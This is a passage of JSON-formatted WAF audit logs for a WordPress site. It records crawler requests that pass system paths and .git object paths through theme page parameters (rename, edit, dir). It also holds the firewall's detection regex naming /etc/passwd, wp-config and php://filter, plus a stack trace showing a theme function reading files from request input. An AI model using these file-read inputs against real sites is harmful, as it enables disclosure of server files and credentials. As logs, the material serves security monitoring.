invoice%5Bpayment_method%5D%5Bpayment_method_font_size%5D=12&invoice%5Bpayment_method%5D%5Bpayment_method_text_align%5D=left&invoice%5Bpayment_method%5D%5Bpayment_method_text_colour%5D=%23000000&invoice%5Bproduct_name%5D%5Bactive%5D=on&invoice%5Bproduct_quantity%5D%5Bactive%5D=on&invoice%5Bproduct_total%5D%5Bactive%5D=on&invoice%5Bsubtotal%5D%5Bactive%5D=on&invoice%5Bshipping%5D%5Bactive%5D=on&invoice%5Bdiscount%5D%5Bactive%5D=on&invoice%5Btax%5D%5Bactive%5D=on&invoice%5Bgrand_total%5D%5Bactive%5D=on&invoice%5Bpaid%5D%5Bactive%5D=on&invoice%5Brefunded%5D%5Bactive%5D=on&invoice%5Bpayment_status%5D%5Bactive%5D=on&invoice%5Bcustomer_note%5D%5Bactive%5D=on&wcdn_general%5Btemplate%5D=simple&action=wcdn_save_invoice_settings"]},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Content-Length":"809","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"error_messages":["[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.","[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace."],"handler":"redirect-handler","stopwatch":{"p1":2383,"p2":10024,"p3":178,"p4":12,"p5":2484,"sr":69,"sw":0,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:22:38.463206 +0100","transaction_id":"abORDrmW8D9YFg8ovrcKtAAAAMk","remote_address":"47.128.20.151","remote_port":56086,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"www.jmkconsulting-ci.com","X-Real-IP":"47.128.20.151","X-Forwarded-Proto":"https","X-Request-Id":"9cb18b22318f64777e38b3e0e6907b70","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"bytedance","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4654521"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9cb18b22318f64777e38b3e0e6907b70","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"434\"] [id \"77350374\"] [msg \"IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G: P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Matched phrase \"bytespider\" at REQUEST_HEADERS:User-Agent."},"stopwatch":{"p1":239,"p2":2295,"p3":0,"p4":0,"p5":426,"sr":65,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:22:59.328647 +0100","transaction_id":"abORIoJMkxuqkfzoMwBDtQAAAck","remote_address":"57.141.20.32","remote_port":48444,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/it/LC_MESSAGES/wget-gnulib.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"af20fa66a46c32e2ff41ea04b1af3b88","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3213962"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"af20fa66a46c32e2ff41ea04b1af3b88","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/it/LC_MESSAGES/wget-gnulib.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":338,"p2":6789,"p3":0,"p4":0,"p5":401,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:23:39.554595 +0100","transaction_id":"abORSvgQSd_XQ-U0cJxNYQAAAUg","remote_address":"57.141.20.56","remote_port":36844,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/d2/cf21e47537cd19e64757c83e7850a22debd4e4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"db73342c6f8258f0b4cb139f69aabc73","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1541415"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"db73342c6f8258f0b4cb139f69aabc73","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/d2/cf21e47537cd19e64757c83e7850a22debd4e4||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":268,"p2":6055,"p3":0,"p4":0,"p5":363,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:24:08.702229 +0100","transaction_id":"abORZ_gQSd_XQ-U0cJxN2wAAAVA","remote_address":"57.141.20.42","remote_port":36366,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/82/029e6d6b6865396630f50770a290be0102c956 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"cdd593f5c1d0c1fb4580be018155c664","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5148038"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cdd593f5c1d0c1fb4580be018155c664","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/82/029e6d6b6865396630f50770a290be0102c956||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":362,"p2":6888,"p3":0,"p4":0,"p5":386,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:24:54.536476 +0100","transaction_id":"abORlfgQSd_XQ-U0cJxOdAAAAVg","remote_address":"57.141.20.58","remote_port":36720,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/bn/LC_MESSAGES/iso_639.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"55d8ac4f3a35190a4eb55e59d0999904","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7341309"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"55d8ac4f3a35190a4eb55e59d0999904","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/bn/LC_MESSAGES/iso_639.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":364,"p2":12284,"p3":0,"p4":0,"p5":795,"sr":132,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:25:08.544321 +0100","transaction_id":"abORo5n1uGdaZ1c5-sNyJgAAAAg","remote_address":"57.141.20.20","remote_port":52522,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/usr/base/usr/share/terminfo/v/vt100%204bsd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"fcb8d79bddd7db9c0043dcfd3899c694","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2066824"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"fcb8d79bddd7db9c0043dcfd3899c694","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":309,"p2":6935,"p3":0,"p4":0,"p5":427,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:25:26.914131 +0100","transaction_id":"abORtpn1uGdaZ1c5-sNyPwAAABM","remote_address":"57.141.20.18","remote_port":43116,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/2a HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"84262a5ebf888ebfd34c284bac7bd2a5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7864339"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"84262a5ebf888ebfd34c284bac7bd2a5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/2a||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":344,"p2":11028,"p3":0,"p4":0,"p5":939,"sr":182,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:25:45.630226 +0100","transaction_id":"abORyZn1uGdaZ1c5-sNyXgAAAAU","remote_address":"57.141.20.33","remote_port":48194,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/woocommerce/woocommerce.9.7.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"ce3fac50e3dfc4aa0971dc27a64e627a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5375243"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ce3fac50e3dfc4aa0971dc27a64e627a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/woocommerce/woocommerce.9.7.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":277,"p2":6450,"p3":0,"p4":0,"p5":357,"sr":139,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:25:52.817615 +0100","transaction_id":"abOR0PgQSd_XQ-U0cJxOyAAAAUM","remote_address":"57.141.20.31","remote_port":43036,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/tr/LC_MESSAGES/ld.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"3f38b8f06dd42312e105273f7cfdf216","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5375289"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3f38b8f06dd42312e105273f7cfdf216","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/tr/LC_MESSAGES/ld.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":351,"p2":11024,"p3":0,"p4":0,"p5":393,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:26:04.926286 +0100","transaction_id":"abOR3LmW8D9YFg8ovrcL8AAAAMc","remote_address":"57.141.20.19","remote_port":38828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/a/att4410v1-w HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"0cf9be94411c94be8189795e976c40ce","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4982904"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0cf9be94411c94be8189795e976c40ce","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/att4410v1-w||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":297,"p2":6426,"p3":0,"p4":0,"p5":401,"sr":158,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:26:34.642211 +0100","transaction_id":"abOR-rmW8D9YFg8ovrcMPQAAANA","remote_address":"57.141.20.40","remote_port":54412,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/a/aws HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"35311bad28f5792a238a24cf6a8d0740","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1934985"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"35311bad28f5792a238a24cf6a8d0740","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/aws||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":190,"p2":5189,"p3":0,"p4":0,"p5":308,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:26:43.412704 +0100","transaction_id":"abOSAqJN8EaaUUoW-HGIwQAAAE4","remote_address":"57.141.20.58","remote_port":49354,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/53/a9670214386a857b843940748a8c3f28969a3c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"5e5b7cd55faa2a511efa5ee12b909390","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7504355"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; 